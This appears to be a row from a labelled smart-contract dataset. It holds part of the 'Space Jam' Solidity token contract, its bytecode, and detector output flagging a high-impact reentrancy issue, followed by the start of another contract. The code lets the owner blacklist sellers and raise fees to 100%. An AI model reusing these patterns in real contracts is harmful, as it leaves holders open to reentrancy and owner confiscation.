if (_marketingFee == 0 && _buybackFee == 0 && _devFee == 0) return;
_previousMarketingFee = _marketingFee;
_previousBuybackFee = _buybackFee;
_previousDevFee = _devFee;
_marketingFee = 0;
_buybackFee = 0;
_devFee = 0;
}
function restoreAllFee() private {
_marketingFee = _previousMarketingFee;
_buybackFee = _previousBuybackFee;
_devFee = _previousDevFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(tradingOpen);
require(amount <= _maxTxAmount);
if (block.timestamp <= _firstBlock + (5 minutes)) {
require(amount <= _tTotal.div(100));
}
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
if (block.timestamp <= _firstBlock.add(_botBlocks)) {
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
require(!bots[to] && !bots[from]);
if (contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee();
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount.mul(_marketingPercent).div(100));
_buybackAddress.transfer(amount.mul(_buybackPercent).div(100));
}
function openTrading(uint256 botBlocks) external onlyOwner() {
_firstBlock = block.timestamp;
_botBlocks = botBlocks;
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {
if (!takeFee) removeAllFee();
(uint256 tTransferAmount, uint256 tBuyback, uint256 tMarketing, uint256 tDev) = _getValues(tAmount);
balances[sender] = balances[sender].sub(tAmount);
balances[recipient] = balances[recipient].add(tTransferAmount);
_takeBuyback(tBuyback);
_takeMarketing(tMarketing);
_takeDev(tDev);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeBuyback(uint256 tBuyback) private {
balances[address(this)] = balances[address(this)].add(tBuyback);
}
function _takeMarketing(uint256 tMarketing) private {
balances[address(this)] = balances[address(this)].add(tMarketing);
}
function _takeDev(uint256 tDev) private {
balances[address(this)] = balances[address(this)].add(tDev);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tBuyback = tAmount.mul(_buybackFee).div(1000);
uint256 tMarketing = tAmount.mul(_marketingFee).div(1000);
uint256 tDev = tAmount.mul(_devFee).div(1000);
uint256 tTransferAmount = tAmount.sub(tBuyback).sub(tMarketing);
tTransferAmount -= tDev;
return (tTransferAmount, tBuyback, tMarketing, tDev);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function removeBot(address account) public onlyOwner() {
bots[account] = false;
}
function addBot(address account) public onlyOwner() {
bots[account] = true;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setPercents(uint256 marketingPercent, uint256 buybackPercent) external onlyOwner() {
require(marketingPercent.add(buybackPercent) == 100, "Sum of percents must equal 100");
_marketingPercent = marketingPercent;
_buybackPercent = buybackPercent;
emit PercentsUpdated(_marketingPercent, _buybackPercent);
}
function setTaxes(uint256 marketingFee, uint256 buybackFee, uint256 devFee) external onlyOwner() {
require(marketingFee.add(buybackFee).add(devFee) <= 1000, "Sum of sell fees must be less than 1000");
_marketingFee = marketingFee;
_buybackFee = buybackFee;
_devFee = devFee;
_previousMarketingFee = _marketingFee;
_previousBuybackFee = _buybackFee;
_previousDevFee = _devFee;
emit FeesUpdated(_marketingFee, _buybackFee, _devFee);
}
} | 0x6080604052600436106101a05760003560e01c8063770d9907116100ec578063d16336491161008a578063e1d7eefd11610064578063e1d7eefd1461059d578063e9dae5ed146105c8578063ea2f0b37146105f1578063ffecf5161461061a576101a7565b8063d16336491461050e578063d543dbeb14610537578063dd62ed3e14610560576101a7565b8063a9059cbb116100c6578063a9059cbb14610466578063aa45026b146104a3578063b44a14b6146104ce578063c3c8cd80146104f7576101a7565b8063770d9907146103e55780638da5cb5b1461041057806395d89b411461043b576101a7565b8063313ce567116101595780635fecd926116101335780635fecd926146103515780636fc3eaec1461037a57806370a0823114610391578063715018a6146103ce576101a7565b8063313ce567146102d2578063437823ec146102fd57806349bd5a5e14610326576101a7565b806306fdde03146101ac578063095ea7b3146101d757806318160ddd1461021457806319de79ab1461023f57806322976e0d1461026a57806323b872dd14610295576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610643565b6040516101ce9190612baa565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f991906127fa565b610663565b60405161020b9190612b8f565b60405180910390f35b34801561022057600080fd5b50610229610681565b6040516102369190612d2c565b60405180910390f35b34801561024b57600080fd5b50610254610692565b6040516102619190612d2c565b60405180910390f35b34801561027657600080fd5b5061027f610698565b60405161028c9190612d2c565b60405180910390f35b3480156102a157600080fd5b506102bc60048036038101906102b791906127ab565b61069e565b6040516102c99190612b8f565b60405180910390f35b3480156102de57600080fd5b506102e7610777565b6040516102f49190612e01565b60405180910390f35b34801561030957600080fd5b50610324600480360381019061031f919061271d565b610780565b005b34801561033257600080fd5b5061033b610870565b6040516103489190612b74565b60405180910390f35b34801561035d57600080fd5b506103786004803603810190610373919061271d565b610896565b005b34801561038657600080fd5b5061038f610986565b005b34801561039d57600080fd5b506103b860048036038101906103b3919061271d565b6109f8565b6040516103c59190612d2c565b60405180910390f35b3480156103da57600080fd5b506103e3610a41565b005b3480156103f157600080fd5b506103fa610b94565b6040516104079190612d2c565b60405180910390f35b34801561041c57600080fd5b50610425610b9a565b6040516104329190612b74565b60405180910390f35b34801561044757600080fd5b50610450610bc3565b60405161045d9190612baa565b60405180910390f35b34801561047257600080fd5b5061048d600480360381019061048891906127fa565b610c00565b60405161049a9190612b8f565b60405180910390f35b3480156104af57600080fd5b506104b8610c1e565b6040516104c59190612d2c565b60405180910390f35b3480156104da57600080fd5b506104f560048036038101906104f0919061285f565b610c24565b005b34801561050357600080fd5b5061050c610d5d565b005b34801561051a57600080fd5b5061053560048036038101906105309190612836565b610dd7565b005b34801561054357600080fd5b5061055e60048036038101906105599190612836565b610e98565b005b34801561056c57600080fd5b506105876004803603810190610582919061276f565b610fe1565b6040516105949190612d2c565b60405180910390f35b3480156105a957600080fd5b506105b2611068565b6040516105bf9190612d2c565b60405180910390f35b3480156105d457600080fd5b506105ef60048036038101906105ea919061289b565b61106e565b005b3480156105fd57600080fd5b506106186004803603810190610613919061271d565b6111e2565b005b34801561062657600080fd5b50610641600480360381019061063c919061271d565b6112d2565b005b60606040518060600160405280602181526020016133b360219139905090565b60006106776106706113c2565b84846113ca565b6001905092915050565b6000683635c9adc5dea00000905090565b60085481565b600a5481565b60006106ab848484611595565b61076c846106b76113c2565b6107678560405180606001604052806028815260200161338b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061071d6113c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b929092919063ffffffff16565b6113ca565b600190509392505050565b60006009905090565b6107886113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610815576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080c90612c8c565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61089e6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461092b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092290612c8c565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109c76113c2565b73ffffffffffffffffffffffffffffffffffffffff16146109e757600080fd5b60004790506109f581611bf6565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a496113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acd90612c8c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5350414345000000000000000000000000000000000000000000000000000000815250905090565b6000610c14610c0d6113c2565b8484611595565b6001905092915050565b600c5481565b610c2c6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb090612c8c565b60405180910390fd5b6064610cce8284611d1990919063ffffffff16565b14610d0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0590612ccc565b60405180910390fd5b81600e8190555080600f819055507f012f5df73148ec03a4ac44111fcf100a014ee232c9f1b328180ab5f3996821e5600e54600f54604051610d51929190612da1565b60405180910390a15050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d9e6113c2565b73ffffffffffffffffffffffffffffffffffffffff1614610dbe57600080fd5b6000610dc9306109f8565b9050610dd481611d77565b50565b610ddf6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6390612c8c565b60405180910390fd5b42600681905550806007819055506001601660006101000a81548160ff02191690831515021790555050565b610ea06113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2490612c8c565b60405180910390fd5b60008111610f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6790612c2c565b60405180910390fd5b610f9f6064610f9183683635c9adc5dea0000061207190919063ffffffff16565b6120ec90919063ffffffff16565b6015819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601554604051610fd69190612d2c565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f5481565b6110766113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa90612c8c565b60405180910390fd5b6103e861112b8261111d8587611d1990919063ffffffff16565b611d1990919063ffffffff16565b111561116c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116390612c4c565b60405180910390fd5b82600a819055508160088190555080600c81905550600a54600b81905550600854600981905550600c54600d819055507fcf8a1e1d5f09cf3c97dbb653cd9a4d7aace9292fbc1bb8211febf2d400febbdd600a54600854600c546040516111d593929190612dca565b60405180910390a1505050565b6111ea6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611277576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126e90612c8c565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6112da6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611367576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135e90612c8c565b60405180910390fd5b6001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561143a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143190612d0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a190612bec565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115889190612d2c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fc90612cec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c90612bcc565b60405180910390fd5b600081116116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90612cac565b60405180910390fd5b6116c0610b9a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172e57506116fe610b9a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ac757601660009054906101000a900460ff1661174c57600080fd5b60155481111561175b57600080fd5b61012c60065461176b9190612e71565b421161179b5761178e6064683635c9adc5dea000006120ec90919063ffffffff16565b81111561179a57600080fd5b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118465750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118c257611862600754600654611d1990919063ffffffff16565b42116118c1576001601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b60006118cd306109f8565b9050601660019054906101000a900460ff1615801561193a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119905750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119e65750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ac557601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a8f5750601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a9857600080fd5b6000811115611aab57611aaa81611d77565b5b60004790506000811115611ac357611ac247611bf6565b5b505b505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b6e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b7857600090505b611b8484848484612136565b611b8c61230f565b50505050565b6000838311158290611bda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd19190612baa565b60405180910390fd5b5060008385611be99190612f52565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c5a6064611c4c600e548661207190919063ffffffff16565b6120ec90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c85573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cea6064611cdc600f548661207190919063ffffffff16565b6120ec90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d15573d6000803e3d6000fd5b5050565b6000808284611d289190612e71565b905083811015611d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6490612c0c565b60405180910390fd5b8091505092915050565b6001601660016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dd5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e035781602001602082028036833780820191505090505b5090503081600081518110611e41577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ee357600080fd5b505afa158015611ef7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1b9190612746565b81600181518110611f55577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fbc30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113ca565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612020959493929190612d47565b600060405180830381600087803b15801561203a57600080fd5b505af115801561204e573d6000803e3d6000fd5b50505050506000601660016101000a81548160ff02191690831515021790555050565b60008083141561208457600090506120e6565b600082846120929190612ef8565b90508284826120a19190612ec7565b146120e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d890612c6c565b60405180910390fd5b809150505b92915050565b600061212e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061232c565b905092915050565b806121445761214361238f565b5b600080600080612153866123f1565b93509350935093506121ad86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124cc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061224284600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1990919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228e83612516565b612297826125ae565b6122a081612646565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516122fd9190612d2c565b60405180910390a35050505050505050565b600b54600a81905550600954600881905550600d54600c81905550565b60008083118290612373576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236a9190612baa565b60405180910390fd5b50600083856123829190612ec7565b9050809150509392505050565b6000600a541480156123a357506000600854145b80156123b157506000600c54145b156123bb576123ef565b600a54600b81905550600854600981905550600c54600d819055506000600a8190555060006008819055506000600c819055505b565b60008060008060006124226103e86124146008548961207190919063ffffffff16565b6120ec90919063ffffffff16565b9050600061244f6103e8612441600a548a61207190919063ffffffff16565b6120ec90919063ffffffff16565b9050600061247c6103e861246e600c548b61207190919063ffffffff16565b6120ec90919063ffffffff16565b905060006124a583612497868c6124cc90919063ffffffff16565b6124cc90919063ffffffff16565b905081816124b39190612f52565b9050808484849750975097509750505050509193509193565b600061250e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b92565b905092915050565b61256881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b61260081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b61269881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000813590506126ed8161335c565b92915050565b6000815190506127028161335c565b92915050565b60008135905061271781613373565b92915050565b60006020828403121561272f57600080fd5b600061273d848285016126de565b91505092915050565b60006020828403121561275857600080fd5b6000612766848285016126f3565b91505092915050565b6000806040838503121561278257600080fd5b6000612790858286016126de565b92505060206127a1858286016126de565b9150509250929050565b6000806000606084860312156127c057600080fd5b60006127ce868287016126de565b93505060206127df868287016126de565b92505060406127f086828701612708565b9150509250925092565b6000806040838503121561280d57600080fd5b600061281b858286016126de565b925050602061282c85828601612708565b9150509250929050565b60006020828403121561284857600080fd5b600061285684828501612708565b91505092915050565b6000806040838503121561287257600080fd5b600061288085828601612708565b925050602061289185828601612708565b9150509250929050565b6000806000606084860312156128b057600080fd5b60006128be86828701612708565b93505060206128cf86828701612708565b92505060406128e086828701612708565b9150509250925092565b60006128f68383612902565b60208301905092915050565b61290b81612f86565b82525050565b61291a81612f86565b82525050565b600061292b82612e2c565b6129358185612e4f565b935061294083612e1c565b8060005b8381101561297157815161295888826128ea565b975061296383612e42565b925050600181019050612944565b5085935050505092915050565b61298781612f98565b82525050565b61299681612fdb565b82525050565b60006129a782612e37565b6129b18185612e60565b93506129c1818560208601612fed565b6129ca8161307e565b840191505092915050565b60006129e2602383612e60565b91506129ed8261308f565b604082019050919050565b6000612a05602283612e60565b9150612a10826130de565b604082019050919050565b6000612a28601b83612e60565b9150612a338261312d565b602082019050919050565b6000612a4b601d83612e60565b9150612a5682613156565b602082019050919050565b6000612a6e602783612e60565b9150612a798261317f565b604082019050919050565b6000612a91602183612e60565b9150612a9c826131ce565b604082019050919050565b6000612ab4602083612e60565b9150612abf8261321d565b602082019050919050565b6000612ad7602983612e60565b9150612ae282613246565b604082019050919050565b6000612afa601e83612e60565b9150612b0582613295565b602082019050919050565b6000612b1d602583612e60565b9150612b28826132be565b604082019050919050565b6000612b40602483612e60565b9150612b4b8261330d565b604082019050919050565b612b5f81612fc4565b82525050565b612b6e81612fce565b82525050565b6000602082019050612b896000830184612911565b92915050565b6000602082019050612ba4600083018461297e565b92915050565b60006020820190508181036000830152612bc4818461299c565b905092915050565b60006020820190508181036000830152612be5816129d5565b9050919050565b60006020820190508181036000830152612c05816129f8565b9050919050565b60006020820190508181036000830152612c2581612a1b565b9050919050565b60006020820190508181036000830152612c4581612a3e565b9050919050565b60006020820190508181036000830152612c6581612a61565b9050919050565b60006020820190508181036000830152612c8581612a84565b9050919050565b60006020820190508181036000830152612ca581612aa7565b9050919050565b60006020820190508181036000830152612cc581612aca565b9050919050565b60006020820190508181036000830152612ce581612aed565b9050919050565b60006020820190508181036000830152612d0581612b10565b9050919050565b60006020820190508181036000830152612d2581612b33565b9050919050565b6000602082019050612d416000830184612b56565b92915050565b600060a082019050612d5c6000830188612b56565b612d69602083018761298d565b8181036040830152612d7b8186612920565b9050612d8a6060830185612911565b612d976080830184612b56565b9695505050505050565b6000604082019050612db66000830185612b56565b612dc36020830184612b56565b9392505050565b6000606082019050612ddf6000830186612b56565b612dec6020830185612b56565b612df96040830184612b56565b949350505050565b6000602082019050612e166000830184612b65565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb613020565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec61304f565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f46613020565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a613020565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f53756d206f662073656c6c2066656573206d757374206265206c65737320746860008201527f616e203130303000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f53756d206f662070657263656e7473206d75737420657175616c203130300000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61336581612f86565b811461337057600080fd5b50565b61337c81612fc4565b811461338757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655370616365204a616d207c20742e6d652f53706163654a616d4f6666696369616ca26469706673582212209919bc063e5c16c0672ba8f0e134a5d25d978cde309e1bb4a36df92bb2fed53864736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 139 |
0xfc0acc037df7bb237f0ae6aae8884c4dc8cb64c4 | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
